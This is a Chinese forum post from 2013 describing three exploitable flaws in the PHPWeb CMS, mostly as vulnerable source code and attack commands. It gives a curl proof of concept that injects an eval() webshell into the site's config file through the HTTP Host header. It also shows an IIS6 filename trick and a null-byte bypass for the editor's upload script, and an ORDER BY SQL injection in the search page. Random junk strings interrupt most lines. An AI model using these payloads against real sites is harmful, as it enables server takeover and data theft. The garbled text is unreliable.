找回密码
 立即注册
查看: 2889|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:
" }, M1 ]& `. J
% u) k* M2 Y9 {, C# L$ n之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
8 P4 W% K" a  y4 R  o9 n2 d5 t1 m
: x( a& u4 s9 A* F鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
- a. c) x4 c8 y鸡肋2: 有一定安全常识的站长都会删掉 install 目录
6 k0 n' N/ Y6 W- ]/ I/ s. s
, B9 s% G5 I0 X$ V虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响4 @% n7 a/ L" N' g) ~; X) g

: D& n8 h' e9 A2 n2 C$ V分析:
" R3 \! h/ o+ {4 E: y$ B+ M: q5 P. F - d2 m* z  w( ^7 J- B! ?, p8 M
, N& s2 E" q* S1 _  X% m
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
: a! Q5 y# d" ?( V  S 9 b4 k4 D; |. ~
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
1 ~; p& w" O7 P' p2 x" V# s8 R                                            $filestr=str_replace(" ","",$filestr);
2 N# B. b, p0 u                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);, o+ M9 |8 n- V# Z# }$ `
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
6 D, Y5 N* I' ?8 a                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);' C" d8 k: m$ P' m+ C. b0 ^$ J3 m
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
! [/ f* T. D1 d) O3 w! `  N5 S/ {                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);) K4 w6 }, S0 d8 I" }
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
& B4 d# k% B7 {* ]( n                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);2 y1 `. i& T, x: |) Z

1 D, x7 X4 n8 S% @! [8 Q; `                                            fwrite(fopen($ConFile,"w"),$filestr,30000);4 {2 C' r5 z3 _* c8 k
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^5 S+ }) H& u" m. N! d& T* x# {! [& M

2 j5 q7 Y, r3 b+ tpoc:& l/ ]& R; ?0 S) N4 V
6 G0 O% Y3 u/ e
?
  X& |- G! {, a13 R: }' d# A( W  l" p! z' r
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"/ W) r7 U' p7 Q' Y
shell地址: /config.inc.php" U* S: t; T* z( }  w
跟之前的 phpcms一样 需要远程数据库2 k6 |* l8 Z# d# \; b: h
2 H! v1 u) J; ?' c# P
——————————————————–
! Y9 f0 Q( N  X6 m1 @4 I6 j$ n上传漏洞(需要进后台):
- O& W7 U+ r4 L- G! K% ~& j6 D漏洞文件: /kedit/upload_cgi/upload.php/ }3 f; p/ J( h8 Y; H
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
  R" j7 r9 Z8 o' s5 a/ i
. H: b/ B6 J: l& @* N 3 c' \$ e$ N! C% f
<?php- Z3 F  o  Q, z- K
    define("ROOTPATH", "../../");" W* @  q" g  f0 V. _+ B
    include(ROOTPATH."includes/admin.inc.php");3 U' L8 s* I5 P
    NeedAuth(0);, x, o/ }+ k! M
" b# b. p2 w  ~
    $dt=date("Ymd",time());
0 b* D$ s9 N1 g    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){1 Y3 `4 |' \# r. B5 z+ x
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);7 ]: s) Y: s* x; {8 L
    }
" y" q/ b. H7 z" l
* [2 |- G& F) e1 V. ]% b    //文件保存目录路径
9 }. j  ~. U9 X    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
0 o: ?8 j5 N0 ~9 n. |. W" V7 r    echo $save_path;
- Q: L, H1 l4 J    //文件保存目录URL/ E5 r: M- U, D" p) c6 v0 J2 I
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
1 J+ f. ~, J6 p1 q# K
; {9 R8 N  p- _, o0 p+ E( ]    //定义允许上传的文件扩展名( x/ O0 U8 d0 \* \1 c1 d' l
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀5 R- H* L1 {: O- ^

$ x6 Z6 q* ~" X; M- `4 W$ ~1 x! }    //最大文件大小. `8 N+ v+ B8 o- t$ e2 o: R4 W
    $max_size = 1000000;7 q1 v- ^, m; i" L; Y

( @0 q# H; O8 Q0 f6 A9 z9 a7 z. ]( X    //更改目录权限' S. \8 ?, u4 E/ ]4 {' q: W
    @mkdir($save_path, 0777);0 v/ {" L! g  O' G; r" A
: c; k! V. K1 {9 Y, a& \* D$ g
    //文件的全部路径* S8 A  G$ S5 ?/ m
    $file_path = $save_path.$_POST['fileName'];   //保存文件名
- Y4 d+ I7 P8 V) {' C( S $ B& ]7 k( O) x. U
    //文件URL  I- j8 _+ b! \2 w  J) l
    $file_url = $save_url.$_POST['fileName'];5 |5 B9 S6 o4 m: X$ n3 U
//有上传文件时4 r9 g6 r! ~  ?/ L
    if (empty($_FILES) === false) {
9 Y2 C2 ~2 U0 C' ^* w
5 u% Q; T8 w3 h: h6 z$ C            //原文件名! g! W! [3 {! H2 X/ P2 p' p0 I
            $file_name = $_FILES['fileData']['name'];) b" O: M2 h3 w! b* _
            //服务器上临时文件名
7 K( `$ _1 ^! O; C            $tmp_name = $_FILES['fileData']['tmp_name'];
5 n3 J3 k/ k' @0 h            //文件大小
! R; ?# e! ~/ X4 a            $file_size = $_FILES['fileData']['size'];9 a3 }1 P# v% y7 }# M
            //检查目录& C0 K$ ^& G, f  c2 L6 {; i* B
            if (@is_dir($save_path) === false) {
6 z. T: ]* i/ O  |6 i$ z+ \                    alert("上传目录不存在。");
1 T  ~; W% V$ i            }, v" r9 w# N/ [! @& M. z7 H5 s
            //检查目录写权限
6 n; r6 V! c3 W) e% j& ]( ^  c* X            if (@is_writable($save_path) === false) {) {- i7 C6 t. o( B+ C$ F* ?
                    alert("上传目录没有写权限。");: Y/ L0 a8 o$ t4 R% G! t
            }+ a# I! c2 l. B; Q, @
            //检查是否已上传
. ]6 B. n# I: L  S6 M: `            if (@is_uploaded_file($tmp_name) === false) {5 U' C7 J" G# k0 V( u& h. F( _
                    alert("临时文件可能不是上传文件。");! q9 D5 L! h+ y7 S4 v! O: M
            }
, c. N3 c9 V/ ]& P6 p( E* S            //检查文件大小5 ]7 }) q/ @  i6 n
            if ($file_size > $max_size) {# q: P! U3 J: `, U# J" \
                    alert("上传文件大小超过限制。");$ v8 M1 b2 z3 F  h
            }
0 A' z' B4 }- f- i- E: A            //获得文件扩展名
, c; E6 V5 ^  `( e            $temp_arr = explode(".", $_POST['fileName']);
% D, L; l) x( O            $file_ext = array_pop($temp_arr);5 p6 |" S0 {& g( W
            $file_ext = trim($file_ext);; h4 |% W0 A, Y$ s' B
            $file_ext = strtolower($file_ext);
5 d# w* R, P% y! _9 N0 K
) X, D% h9 t, {            //检查扩展名   ' l; y6 H' C3 B. m* O# Q, f
            if (in_array($file_ext, $ext_arr) === false) {     
8 z: V3 ?+ \* L                    alert("上传文件扩展名是不允许的扩展名。");$ M4 J+ H+ ~8 n3 D  q0 g
            }% v8 G; e( B1 T5 v/ N- T& Z- i/ D
: P; P$ V7 s# `* j7 P0 b
            //移动文件   : Y: w+ o9 L. P8 N& N7 ^* @5 B
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^; ]6 T% e3 O3 Z3 J( N+ h. k4 C9 {& ?" _
            if (move_uploaded_file($tmp_name, $file_path) === false) {
) Y, I' m/ R( P9 I! s, _8 \                    alert("上传文件失败。");6 F8 U+ B8 [& h) [+ }1 ^; M1 J
            }% K8 O7 i) s; r4 H% }1 g5 C0 _( k

& o; E  z* O* ]. }8 Q5 n            @chmod($file_path,0666);
5 f9 i, _* \" a) ~8 `. G * m6 }" p  a( r
    ?>
0 y6 N5 e: I# r5 f$ Z3 ]/ w* Q- L抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
2 a' ?  c$ G, D- R " A# S5 }5 z; D1 Z& b' o/ ]3 b
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过( K7 t* z. F) G" Y

% H* \7 j( }& o8 C- E——————————————————4 Q* {9 Q$ \/ T6 V
注入漏洞:6 _, O. r% {7 @( x
漏洞文件:search/module/search.php8 F9 K/ B+ R+ `5 D; }
/search/index.php?key=1&myord=1 [sqlinjection]
( v& x  R2 s; T
/ {, T, L% v+ N8 S! q9 ]* Y! V + j# e  Q% J4 L, f
<?php
  q2 c* ]( u7 j4 {8 F( V   //       ... 省略 n 行...
- \$ L+ Q1 G6 n- f   //第18行:
$ i7 x) O; c' Z2 J, Y& ^  A+ k           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
. p) {+ Q* g1 _) _+ b           $page=htmlspecialchars($_GET["page"]);. e& j# M6 z: b; `/ o  j
           $myord=htmlspecialchars($_GET["myord"]);
4 Y+ K/ f7 S% l* b
1 Q, [; v$ P" k   //       ... 省略 n 行...1 ~9 I$ e/ c1 [5 u% a' L4 f8 R
   $key,$myord 两个参数带入查询* V6 G  `! h4 [$ [. |4 F8 }
   //第47行 $key:) C* M, A; u: h; x# j! |6 a; _
3 J+ F8 k( H  g# x0 v" f7 B
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
% ~* ?# Y! g6 V' Q2 U/ u6 K* D . w4 S+ Q; V* `* c- D- J* G
   //第197行 $myord$ `2 A' L+ C. `- l# z: R0 b0 G! Y7 |
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
/ k5 H# m& [, g$ O/ Z' o ) N. y3 [* ^2 a0 c1 [, o
   ?>
  j* {$ T( ]! s" c8 J$ a8 b, }
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表